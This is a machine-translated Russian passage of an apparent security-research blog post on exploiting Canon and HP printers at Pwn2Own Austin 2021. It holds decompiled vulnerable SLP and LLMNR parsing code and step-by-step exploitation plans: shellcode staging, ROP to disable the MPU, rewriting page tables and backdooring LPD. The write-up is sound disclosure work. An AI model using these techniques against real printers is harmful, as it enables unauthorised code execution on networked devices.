  &lt;p id=&quot;y7CP&quot;&gt;Протокол демона линейного принтера&lt;/p&gt;
  &lt;p id=&quot;sEc0&quot;&gt;SNMP&lt;/p&gt;
  &lt;p id=&quot;IEVZ&quot;&gt;УДП 161&lt;/p&gt;
  &lt;p id=&quot;do27&quot;&gt;Простой протокол управления сетью&lt;/p&gt;
  &lt;p id=&quot;e0OR&quot;&gt;СЛП&lt;/p&gt;
  &lt;p id=&quot;NKIF&quot;&gt;ПТС 427&lt;/p&gt;
  &lt;p id=&quot;vuk7&quot;&gt;Протокол определения местоположения службы&lt;/p&gt;
  &lt;p id=&quot;UbgS&quot;&gt;mDNS&lt;/p&gt;
  &lt;p id=&quot;ZV4f&quot;&gt;УДП 5353&lt;/p&gt;
  &lt;p id=&quot;0h9N&quot;&gt;Многоадресный DNS&lt;/p&gt;
  &lt;p id=&quot;hrwG&quot;&gt;ЛЛМНР&lt;/p&gt;
  &lt;p id=&quot;sRXR&quot;&gt;УДП 5355&lt;/p&gt;
  &lt;p id=&quot;9J8x&quot;&gt;Разрешение многоадресных имен Link-Local&lt;/p&gt;
  &lt;p id=&quot;XvLu&quot;&gt;…&lt;/p&gt;
  &lt;p id=&quot;J6KK&quot;&gt;…&lt;/p&gt;
  &lt;p id=&quot;TZ8w&quot;&gt;…&lt;/p&gt;
  &lt;p id=&quot;6qNR&quot;&gt;Обычно для облегчения управления открывается RUI (веб-интерфейс). Порт 9100 также широко используется принтерами и в основном используется для передачи печатных данных.&lt;/p&gt;
  &lt;p id=&quot;NTum&quot;&gt;Другие различаются у разных поставщиков, но перечисленные обычно присутствуют, и большинство из них включены по умолчанию. После оценки общей архитектуры мы сосредоточиваемся на обнаружении сервисов и серии сервисов DNS. Наш многолетний опыт часто показывает, что такие протоколы, реализованные производителями, часто подвержены уязвимостям. Основными сервисами, которые мы проанализировали, были &lt;strong&gt;SLP&lt;/strong&gt; , &lt;strong&gt;mDNS&lt;/strong&gt; и &lt;strong&gt;LLMNR&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;0DNM&quot;&gt;Далее мы возьмем Pwn2Own Austin 2021 в качестве примера, чтобы увидеть, какие проблемы часто возникают у этих протоколов.&lt;/p&gt;
  &lt;h2 id=&quot;hacking-printers-at-pwn2own&quot;&gt;Взлом принтеров на Pwn2Own&lt;/h2&gt;
  &lt;h3 id=&quot;canon-1&quot;&gt;Канон&lt;/h3&gt;
  &lt;h4 id=&quot;service-location-protocol&quot;&gt;Протокол определения местоположения службы&lt;/h4&gt;
  &lt;p id=&quot;q9zI&quot;&gt;SLP — это протокол обнаружения служб, который позволяет компьютерам и другим устройствам находить службы в локальной сети. В прошлом в SLP EXSI было много &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi&quot; target=&quot;_blank&quot;&gt;уязвимостей . &lt;/a&gt;Canon реализует услугу SLP в основном самостоятельно. Подробную информацию об услуге SLP можно найти в &lt;a href=&quot;https://www.ietf.org/rfc/rfc2608.txt&quot; target=&quot;_blank&quot;&gt;RFC2608&lt;/a&gt; .&lt;/p&gt;
  &lt;p id=&quot;iwRN&quot;&gt;Прежде чем мы рассмотрим детали SLP, нам нужно поговорить о структуре пакетов SLP.&lt;/p&gt;
  &lt;p id=&quot;BqE0&quot;&gt;Структура пакета SLP&lt;/p&gt;
  &lt;figure id=&quot;5hUn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/12.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0jyd&quot;&gt;Здесь нам нужно только обратить внимание на &lt;code&gt;function-id&lt;/code&gt;. Это поле определяет тип запроса и формат полезной части. Canon реализует только запрос на обслуживание и запрос атрибута.&lt;/p&gt;
  &lt;figure id=&quot;n62c&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/13.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WsjG&quot;&gt;В запросе атрибута (AttrRqst) пользователь может получить список атрибутов в соответствии с услугой и областью действия. Мы можем указать область поиска, например принтеры Canon.&lt;/p&gt;
  &lt;p id=&quot;NgCx&quot;&gt;Пример:&lt;/p&gt;
  &lt;figure id=&quot;vRlr&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/14.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HNLT&quot;&gt;Структура запроса атрибута выглядит следующим образом.&lt;/p&gt;
  &lt;figure id=&quot;CGTH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/15.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Wl16&quot;&gt;В основном он состоит из длины (Length) и значения (Value). При анализе такого формата следует быть осторожным, поскольку здесь часто встречаются ошибки. На самом деле, в Canon есть уязвимость при объединении этого формата.&lt;/p&gt;
  &lt;h4 id=&quot;vulnerability&quot;&gt;Уязвимость&lt;/h4&gt;
  &lt;p id=&quot;A4eS&quot;&gt;Когда он анализирует список областей, он преобразует escape-символы в ASCII. Например, &lt;code&gt;\41&lt;/code&gt;будет преобразован в &lt;code&gt;A&lt;/code&gt;. Но что плохого в этом простом преобразовании? Давайте посмотрим на псевдокод.&lt;/p&gt;
  &lt;pre id=&quot;XWmi&quot;&gt;int parse_scope_list(...){
	char destbuf[36];
	unsigned int max = 34;
	parse_escape_char(...,destbuf,max);
}
&lt;/pre&gt;
  &lt;p id=&quot;XRYd&quot;&gt;Как показано в приведенном выше коде, в &lt;code&gt;parse_scope_list&lt;/code&gt;, он передает буфер фиксированного размера &lt;code&gt;destbuf&lt;/code&gt;и максимальный размер 34 в &lt;code&gt;parse_escape_char&lt;/code&gt;. Здесь нет уязвимости. Давайте посмотрим &lt;code&gt;parse_escape_char&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;01SF&quot;&gt;int __fastcall parse_escape_char(unsigned __int8 **pdata, _WORD *pdatalen, unsigned __int8 *destbuf, _WORD *max)
{
  unsigned int idx; // r7
  int v7; // r9
  int v8; // r8
  int error; // r11
  unsigned __int8 *v10; // r5
  unsigned int i; // r6
  int v12; // r1
  int v13; // r0
  unsigned int v14; // r1
  bool v15; // cc
  int v16; // r2
  bool v17; // cc
  unsigned __int8 v18; // r0
  int v19; // r0
  unsigned __int8 v20; // r0
  unsigned int v21; // r0
  unsigned int v22; // r0

  idx = 0;
  v7 = 0;
  v8 = 0;
  error = 0;
  v10 = *pdata;
  for ( i = (unsigned __int16)*pdatalen; i &amp;amp;&amp;amp; !v7; i = (unsigned __int16)(i - 1) )
  {
    v12 = *v10;
    if ( v12 == &amp;#x27;,&amp;#x27; )
    {
      if ( i &amp;lt; 2 )
        return -4;
      v7 = 1;
    }
    else
    {
      if ( v12 == &amp;#x27;\\&amp;#x27; ) //----------------------[1]
      {
        if ( i &amp;lt; 3 )
          return -4;
        v13 = v10[1];
        v14 = v13 - &amp;#x27;0&amp;#x27;;
        v15 = v13 - (unsigned int)&amp;#x27;0&amp;#x27; &amp;gt; 9;
        if ( v13 - (unsigned int)&amp;#x27;0&amp;#x27; &amp;gt; 9 )
          v15 = v13 - (unsigned int)&amp;#x27;A&amp;#x27; &amp;gt; 5;
        if ( v15 &amp;amp;&amp;amp; v13 - (unsigned int)&amp;#x27;a&amp;#x27; &amp;gt; 5 )
          return -4;
        v16 = v10[2];
        v17 = v16 - (unsigned int)&amp;#x27;0&amp;#x27; &amp;gt; 9;
        if ( v16 - (unsigned int)&amp;#x27;0&amp;#x27; &amp;gt; 9 )
          v17 = v16 - (unsigned int)&amp;#x27;A&amp;#x27; &amp;gt; 5;
        if ( v17 &amp;amp;&amp;amp; v16 - (unsigned int)&amp;#x27;a&amp;#x27; &amp;gt; 5 )
          return -4;
        if ( v14 &amp;lt;= 9 )
          v18 = 0x10 * v14;
        else
          v18 = v13 - 0x37;
        if ( v14 &amp;gt; 9 )
          v18 *= 0x10;
        *destbuf = v18; //-------------------[2]
        v19 = v10[2];
        v10 += 2;
        v20 = (unsigned int)(v19 - 0x30) &amp;gt; 9 ? (v19 - 55) &amp;amp; 0xF | *destbuf : *destbuf | (v19 - 0x30) &amp;amp; 0xF;
        *destbuf = v20;
        LOWORD(i) = i - 2;
        if ( !strchr((int)&amp;quot;(),\\!&amp;lt;=&amp;gt;~;*+&amp;quot;, *destbuf) )
        {
          v21 = *destbuf;
          if ( v21 &amp;gt; 0x1F &amp;amp;&amp;amp; v21 != 0x7F )
            return -4;
        }
        goto LABEL_40;
      }
      if ( strchr((int)&amp;quot;(),\\!&amp;lt;=&amp;gt;~;*+&amp;quot;, v12) ) //-----------------------[3]
        return -4;
      v22 = *v10;
      if ( v22 &amp;lt;= 0x1F || v22 == 0x7F )
        return -4;
      if ( v22 != &amp;#x27; &amp;#x27; )
      {
        v8 = 0;
        goto LABEL_35;
      }
      if ( !v8 )
      {
        v8 = 1;
LABEL_35:
        if ( (unsigned __int16)*max &amp;lt;= idx ) //----------------------[4] 
        {
          error = 1;
          goto next_one;
        }
        if ( v8 )
          LOBYTE(v22) = 32;
        *destbuf = v22;
LABEL_40:
        ++destbuf;
        idx = (unsigned __int16)(idx + 1);
      }
    }
next_one:
    ++v10;
  }
  if ( error )
  {
    *max = 0;
    debugprintff(3645, 4, &amp;quot;Scope longer than buffer provided&amp;quot;);
LABEL_48:
    *pdata = v10;
    *pdatalen = i;
    return 0;
  }
  if ( idx )
  {
    *max = idx;
    goto LABEL_48;
  }
  return -4;
}
&lt;/pre&gt;
  &lt;p id=&quot;BAMf&quot;&gt;Как видите, &lt;code&gt;[3]&lt;/code&gt;это случай, когда escape-символы не обрабатываются. Он проверяет, превышает ли длина максимальную длину &lt;code&gt;[4]&lt;/code&gt;. Однако в случае &lt;code&gt;[1]&lt;/code&gt;обработки escape-символов проверка длины не выполняется, и преобразованный результат напрямую копируется в целевой буфер &lt;code&gt;[2]&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;cvFZ&quot;&gt;Если задана длинная строка escape-символов, это приводит к переполнению стека.&lt;/p&gt;
  &lt;p id=&quot;0dKZ&quot;&gt;После обнаружения уязвимости первым делом нужно посмотреть, какая у нее защита, чтобы определиться с планом эксплойта. Но после анализа мы обнаружили, что принтер Canon &lt;strong&gt;не имеет никакой защиты, связанной с памятью&lt;/strong&gt; .&lt;/p&gt;
  &lt;h4 id=&quot;protection&quot;&gt;Защита&lt;/h4&gt;
  &lt;ul id=&quot;ZFO5&quot;&gt;
    &lt;li id=&quot;9z9z&quot;&gt;Нет защиты стека&lt;/li&gt;
    &lt;li id=&quot;TqPc&quot;&gt;Нет ДЭП&lt;/li&gt;
    &lt;li id=&quot;1HUB&quot;&gt;Нет АСЛР&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;8KJn&quot;&gt;Нет Stack Guard, нет DEP и нет ASLR, &lt;strong&gt;удобство для хакеров&lt;/strong&gt; ! Как и в 90-е годы, просто переполнение стека может контролировать мир. Далее, как и в случае с прошлым методом эксплойта переполнения стека, нам просто нужно найти фиксированный адрес для хранения шеллкода, перезаписать обратный адрес и перейти к шеллкоду. В конце концов мы нашли сервис &lt;strong&gt;BJNP&lt;/strong&gt; для хранения нашего шеллкода.&lt;/p&gt;
  &lt;h4 id=&quot;bjnp&quot;&gt;БДНП&lt;/h4&gt;
  &lt;p id=&quot;6eGs&quot;&gt;BJNP также является протоколом обнаружения служб, разработанным Canon, и в прошлом существовало множество уязвимостей. &lt;a href=&quot;https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html&quot; target=&quot;_blank&quot;&gt;Synacktiv&lt;/a&gt; также использовал Pixma MX925 через этот протокол. Для получения более подробной информации, пожалуйста, обратитесь &lt;a href=&quot;https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#bjnp&quot; target=&quot;_blank&quot;&gt;сюда&lt;/a&gt; . BJNP сохраняет данные управляемого сеанса в глобальном буфере. Мы можем использовать эту функцию для размещения нашего шеллкода в фиксированном месте без строгих ограничений.&lt;/p&gt;
  &lt;h4 id=&quot;exploitation-step&quot;&gt;Этап эксплуатации&lt;/h4&gt;
  &lt;ul id=&quot;KhEr&quot;&gt;
    &lt;li id=&quot;8j0k&quot;&gt;Используйте BJNP для хранения нашего шеллкода в глобальном буфере.&lt;/li&gt;
    &lt;li id=&quot;Cw56&quot;&gt;Переполнение стека триггера в SLP и перезапись адреса возврата&lt;/li&gt;
    &lt;li id=&quot;x8Tm&quot;&gt;Вернуться в глобальный буфер&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h4 id=&quot;pwn2own-austin-2021-1&quot;&gt;Pwn2Own Остин 2021&lt;/h4&gt;
  &lt;p id=&quot;ELU5&quot;&gt;Обычно организатор Pwn2Own (ZDI) просит участников доказать, что мы достигли цели. Метод презентации здесь зависит от игроков. Изначально мы хотели напечатать логотип прямо на ЖК-экране, поскольку использовали принтер Lexmark.&lt;/p&gt;
  &lt;figure id=&quot;unU2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/16.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6SFA&quot;&gt;Однако мы потратили много времени на то, чтобы разобраться, как распечатать изображение на экране, что было дольше, чем поиск уязвимостей и написание эксплойтов. В конце концов из-за нехватки времени был принят более безопасный подход: непосредственное изменение строки &lt;a href=&quot;https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#service-mode&quot; target=&quot;_blank&quot;&gt;сервисного режима&lt;/a&gt; и вывод ее на экран.&lt;/p&gt;
  &lt;figure id=&quot;REHb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/17.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GTu3&quot;&gt;На самом деле распечатать изображение на экране не так уж и сложно. Другие команды нашли &lt;a href=&quot;https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#displaying-an-image&quot; target=&quot;_blank&quot;&gt;методы&lt;/a&gt; . Желающие могут попробовать :)&lt;/p&gt;
  &lt;figure id=&quot;uzcn&quot; class=&quot;m_custom&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/vQbQImZ3XRw?autoplay=0&amp;loop=0&amp;mute=0&amp;start=18400&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;debug&quot;&gt;Отлаживать&lt;/h4&gt;
  &lt;p id=&quot;e8JM&quot;&gt;Некоторые люди могут задаться вопросом, как выполнять отладку в этой среде. Обычно существует несколько способов отладки:&lt;/p&gt;
  &lt;ul id=&quot;N0RK&quot;&gt;
    &lt;li id=&quot;jUJR&quot;&gt;Разберите принтер и получите консоль отладки.&lt;/li&gt;
    &lt;li id=&quot;X2tG&quot;&gt;Используйте старый эксплойт для установки индивидуального отладчика&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;89KJ&quot;&gt;Однако мы обновились до последней на тот момент версии. В этой версии нет известных уязвимостей, поэтому нам необходимо вернуться к более ранней версии. Демонтаж оборудования также требует дополнительных затрат времени и средств. Но у нас на тот момент уже была уязвимость, сносить железо или даунгрейдить было нерентабельно. Наконец, мы по-прежнему использовали самый традиционный метод отладки во сне.&lt;/p&gt;
  &lt;figure id=&quot;0CJc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/18.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bpb3&quot;&gt;После ROP или выполнения шеллкода распечатайте результат на веб-странице или в другом видимом месте, а затем вызовите режим сна. Мы можем прочитать результат с веб-страницы и, наконец, перезагрузить компьютер, чтобы повторить этот процесс.&lt;/p&gt;
  &lt;p id=&quot;fQBc&quot;&gt;Далее поговорим о принтерах HP.&lt;/p&gt;
  &lt;h3 id=&quot;hp-1&quot;&gt;HP&lt;/h3&gt;
  &lt;h4 id=&quot;link-local-multicast-name-resolution&quot;&gt;Разрешение многоадресных имен Link-Local&lt;/h4&gt;
  &lt;p id=&quot;VXZJ&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution&quot; target=&quot;_blank&quot;&gt;LLMNR&lt;/a&gt; очень похож на mDNS. Он обеспечивает разрешение базового имени по той же локальной ссылке. Но он проще, чем mDNS, и обычно также сотрудничает с некоторыми протоколами обнаружения служб. Вот краткое введение в этот механизм:&lt;/p&gt;
  &lt;p id=&quot;MiQh&quot;&gt;При разрешении доменного имени в локальной сети клиент A сначала будет использовать многоадресную рассылку, чтобы найти местоположение клиента C в локальной сети.&lt;/p&gt;
  &lt;figure id=&quot;vKyw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/19.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WfCN&quot;&gt;После получения клиентом C клиент C отправляет его обратно клиенту A, который реализует разрешение доменного имени локальной ссылки.&lt;/p&gt;
  &lt;figure id=&quot;R8oE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/20.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vkSw&quot;&gt;LLMNR в основном основан на формате &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc4795#section-2.1.1&quot; target=&quot;_blank&quot;&gt;DNS-пакета&lt;/a&gt; и имеет следующий формат:&lt;/p&gt;
  &lt;figure id=&quot;Piuz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/21.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HOj1&quot;&gt;Основной формат — это заголовок, за которым следуют запросы, а число представляет количество запросов разных типов.&lt;/p&gt;
  &lt;figure id=&quot;oNOk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/22.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;CYaW&quot;&gt;Каждый DNS-запрос состоит из множества меток, и каждая метка будет содержать длину и строку, как показано на рисунке выше. Существует также механизм &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc1035#section-4.1.4&quot; target=&quot;_blank&quot;&gt;сжатия сообщений&lt;/a&gt; . Работа с ними очень подвержена уязвимостям. &lt;a href=&quot;https://i.blackhat.com/asia-21/Thursday-Handouts/as-21-dosSantos-The-Cost-of-Complexity-Different-Vulnerabilities-While-Implementing-the-Same-RFC.pdf&quot; target=&quot;_blank&quot;&gt;Подобные проблемы также упоминаются в докладе «Цена сложности: разные уязвимости при реализации одного и того же RFC»&lt;/a&gt; на конференции BlackHat 2021.&lt;/p&gt;
  &lt;h4 id=&quot;vulnerability-1&quot;&gt;Уязвимость&lt;/h4&gt;
  &lt;p id=&quot;kzTT&quot;&gt;Давайте посмотрим на реализацию HP:&lt;/p&gt;
  &lt;pre id=&quot;n9Dg&quot;&gt;int llmnr_process_query(...){
    char result[292];
    consume_labels(llmnr_packet-&amp;gt;qname,result,...);
    ...
}
&lt;/pre&gt;
  &lt;p id=&quot;naOD&quot;&gt;Здесь вы можете видеть, что когда HP обрабатывает пакеты LLMNR, она передает буфер фиксированного размера в Consumer_lables. &lt;code&gt;consume_lables&lt;/code&gt;используется для обработки меток DNS, а фиксированный буфер используется для хранения результатов.&lt;/p&gt;
  &lt;pre id=&quot;ZtvA&quot;&gt;int __fastcall consume_labels(char *src, char *dst, llmnr_hdr *a3)
{
  int v3; // r5
  int v4; // r12
  unsigned int len; // r3
  int v6; // r4
  char v7; // r6
  bool v8; // cc
  int v9; // r0
  unsigned __int8 chr; // r6
  int result; // r0

  v3 = 0;
  v4 = 0;
  len = 0;
  v6 = 0;
  while ( 1 )
  {
    chr = src[v3]; //-------------[1]
    if ( !chr )
      break;
    if ( (int)len &amp;lt;= 0 )
    {
      v8 = chr &amp;lt;= 0xC0u;
      if ( chr == 0xC0 )
      {
        v9 = src[v3 + 1];
        v6 = 1;
        v3 = 0;
        src = (char *)a3 + v9;
      }
      else
      {
        len = src[v3++];
        v8 = v4 &amp;lt;= 0;
      }
      if ( !v8 )
        dst[v4++] = &amp;#x27;.&amp;#x27;;
    }
    else
    {
      v7 = src[v3++];
      len = (char)(len - 1);
      dst[v4++] = v7; //----------[2]
    }
  }
  result = v3 + 1;
  dst[v4] = 0;
  if ( v6 )
    return 2;
  return result;
}
&lt;/pre&gt;
  &lt;p id=&quot;n6sU&quot;&gt;Мы видим, что &lt;code&gt;[1]&lt;/code&gt;получим длину метки, а затем обработаем ее в соответствии с типом. &lt;code&gt;[2]&lt;/code&gt;используется как случай длины. Здесь нет проверки длины, и метка записывается напрямую в буфер dst, что приводит к переполнению стека. На этом этапе мы подумали, что можем использовать его так же, как Canon. Однако, когда мы писали эксплойт, мы обнаружили, что принтеры HP имеют больше механизмов защиты.&lt;/p&gt;
  &lt;h4 id=&quot;protection-1&quot;&gt;Защита&lt;/h4&gt;
  &lt;ul id=&quot;q79y&quot;&gt;
    &lt;li id=&quot;wNg5&quot;&gt;Нет защиты стека&lt;/li&gt;
    &lt;li id=&quot;KLxH&quot;&gt;&lt;strong&gt;XN(ДЕП)&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;7r4K&quot;&gt;&lt;strong&gt;Модуль защиты памяти (MPU)&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;khdN&quot;&gt;Нет АСЛР&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;l2Yk&quot;&gt;В этом случае включаются механизмы защиты памяти XN и MPU, и данная уязвимость имеет больше ограничений. Мы &lt;strong&gt;можем переполнить только около 0x100 байт без нулевого байта&lt;/strong&gt; , что значительно ограничивает нашу ROP и усложняет ее. Нам нужно найти другие уязвимости или методы для достижения нашей цели.&lt;/p&gt;
  &lt;p id=&quot;A8Jn&quot;&gt;Через некоторое время мы начали думать о том, как принтеры HP реализуют XN(DEP) и MPU. Давайте рассмотрим HP RTOS:&lt;/p&gt;
  &lt;ul id=&quot;Fo3d&quot;&gt;
    &lt;li id=&quot;8TAs&quot;&gt;Связано с кодом приложения в одно изображение.&lt;/li&gt;
    &lt;li id=&quot;1olS&quot;&gt;Многие задачи выполняются&lt;/li&gt;
    &lt;ul id=&quot;PgSS&quot;&gt;
      &lt;li id=&quot;e6DL&quot;&gt;в том же виртуальном адресном пространстве&lt;/li&gt;
      &lt;li id=&quot;YezA&quot;&gt;в режиме ядра&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;w41b&quot;&gt;После рассмотрения мы подумали, а можно ли это обойти, разобравшись в MMU и MPU в HP RTOS?&lt;/p&gt;
  &lt;h4 id=&quot;mmu-in-hp-m283fdw&quot;&gt;MMU в HP M283fdw&lt;/h4&gt;
  &lt;p id=&quot;5uIf&quot;&gt;HP M283fdw использует одноуровневую трансляцию таблицы страниц и каждую запись таблицы перевода для перевода раздела размером 1 МБ. Таблица трансляции расположена по адресу &lt;strong&gt;0x4003c000&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;3ZC0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/23.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QfvM&quot;&gt;Каждая запись таблицы трансляции соответствует физическому адресу и правам раздела. ЦП определяет, может ли оно быть выполнено или изменено в соответствии с записью. Здесь рассматриваются разрешения AP, APX и XN. Мы также можем сопоставить любой физический адрес с помощью этой записи таблицы трансляции.&lt;/p&gt;
  &lt;figure id=&quot;s76J&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/24.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;CQPw&quot;&gt;Как правило, мы можем изменить запись таблицы перевода через ROP, если у нас есть переполнение стека при высоких привилегиях. Но когда мы попытались писать напрямую в таблицу трансляции, принтер HP сломался.&lt;/p&gt;
  &lt;figure id=&quot;5W1L&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/25.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IZxu&quot;&gt;Мы проверили и обнаружили, что основной причиной исключения ошибки памяти является то, что модуль защиты памяти (MPU) защищает таблицу трансляции.&lt;/p&gt;
  &lt;h4 id=&quot;mpu-in-hp-m283fdw&quot;&gt;МПУ в HP M283fdw&lt;/h4&gt;
  &lt;p id=&quot;3wwA&quot;&gt;MPU позволяет разбивать память на регионы и устанавливать индивидуальные атрибуты защиты для каждого региона. Это совершенно другой механизм, чем MMU, и он часто встречается в устройствах Интернета вещей. HP включает MPU при загрузке и определяет разрешения для каждого региона, поэтому мы не можем манипулировать таблицей страниц.&lt;/p&gt;
  &lt;figure id=&quot;M7au&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/26.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TG7l&quot;&gt;После долгого обратного проектирования и обращения к &lt;a href=&quot;https://developer.arm.com/documentation/ddi0403/d/System-Level-Architecture/System-Address-Map/Protected-Memory-System-Architecture--PMSAv7/Register-support-for-PMSAv7-in-the-SCS?lang=en#BEHJFJDI&quot; target=&quot;_blank&quot;&gt;руководству ARM&lt;/a&gt; мы обнаружили, что MPU можно отключить, очистив MPU_CTRL. Мы обнаружили, что это местоположение 0xE0400304, что немного отличается от спецификации ARM.&lt;/p&gt;
  &lt;figure id=&quot;LVIP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/27.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;exploitation&quot;&gt;Эксплуатация&lt;/h4&gt;
  &lt;p id=&quot;tLCw&quot;&gt;Поняв механизм MMU и MPU HP, мы можем легко использовать ROP для отключения MPU и успешного изменения записи таблицы трансляции. Мы можем произвольно изменять код любого сервиса и в итоге выбрали &lt;a href=&quot;https://en.wikipedia.org/wiki/Line_Printer_Daemon_protocol&quot; target=&quot;_blank&quot;&gt;Line Printer Daemon(LPD)&lt;/a&gt; . Мы превратили его в бэкдор, прочитали больше полезных данных в указанное место и, наконец, выполнили шеллкод.&lt;/p&gt;
  &lt;p id=&quot;23J2&quot;&gt;Но есть одна вещь, о которой необходимо упомянуть. После перезаписи записи таблицы перевода и кода LPD обязательно &lt;strong&gt;очистите TLB&lt;/strong&gt; и &lt;strong&gt;сделайте недействительными I-cache и D-cache&lt;/strong&gt; . В противном случае весьма вероятно, что он будет выполнен в старом варианте, что приведет к сбою эксплойта.&lt;/p&gt;
  &lt;p id=&quot;0Yyh&quot;&gt;Очистить TLB&lt;/p&gt;
  &lt;pre id=&quot;iVZX&quot;&gt;flush_tlb:
    mov r12, #0
    mcr p15, 0, r12, c8, c7, 0
&lt;/pre&gt;
  &lt;p id=&quot;lJic&quot;&gt;Недействительный I-кэш&lt;/p&gt;
  &lt;pre id=&quot;Li4K&quot;&gt;disable_icache:
    mrc p15, 0, r1, c1, c0, 0
    bic r1, r1, #(1 &amp;lt;&amp;lt; 12)
    mcr p15, 0, r1, c1, c0, 0
&lt;/pre&gt;
  &lt;h4 id=&quot;exploitation-step-1&quot;&gt;Этап эксплуатации&lt;/h4&gt;
  &lt;ul id=&quot;jxS8&quot;&gt;
    &lt;li id=&quot;9t8l&quot;&gt;Переполнение стека триггера в LLMNR и перезапись адреса возврата&lt;/li&gt;
    &lt;li id=&quot;hIbz&quot;&gt;Используйте ограниченную ROP для&lt;/li&gt;
    &lt;ul id=&quot;8aml&quot;&gt;
      &lt;li id=&quot;nypK&quot;&gt;отключить МПУ&lt;/li&gt;
      &lt;li id=&quot;J1wC&quot;&gt;изменить запись таблицы перевода и получить разрешение на выполнение чтения и записи&lt;/li&gt;
      &lt;li id=&quot;T8Ew&quot;&gt;очистить TLB&lt;/li&gt;
      &lt;li id=&quot;LJoY&quot;&gt;изменить код LPD&lt;/li&gt;
      &lt;li id=&quot;5lCt&quot;&gt;аннулировать I-кэш и D-кэш&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;tyxM&quot;&gt;Используйте модифицированный LPD для чтения нашего шеллкода и перехода к шеллкоду.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h4 id=&quot;pwn2own-austin-2021-2&quot;&gt;Pwn2Own Остин 2021&lt;/h4&gt;
  &lt;p id=&quot;MmTQ&quot;&gt;Когда мы смогли выполнить шеллкод, у нас осталась всего одна неделя, и мы наконец решили использовать точную строку для отображения &lt;code&gt;Pwned by DEVCORE&lt;/code&gt;на ЖК-дисплее.&lt;/p&gt;
  &lt;figure id=&quot;W6z1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/28.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WtNe&quot;&gt;После этого мы также попытались изменить бэкдор консоли отладки, чтобы облегчить выполнение многих функций, таких как просмотр информации о памяти, воспроизведение музыки и т. д.&lt;/p&gt;
  &lt;figure id=&quot;yM0O&quot; class=&quot;m_custom&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/S9TkvaAmyMw?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
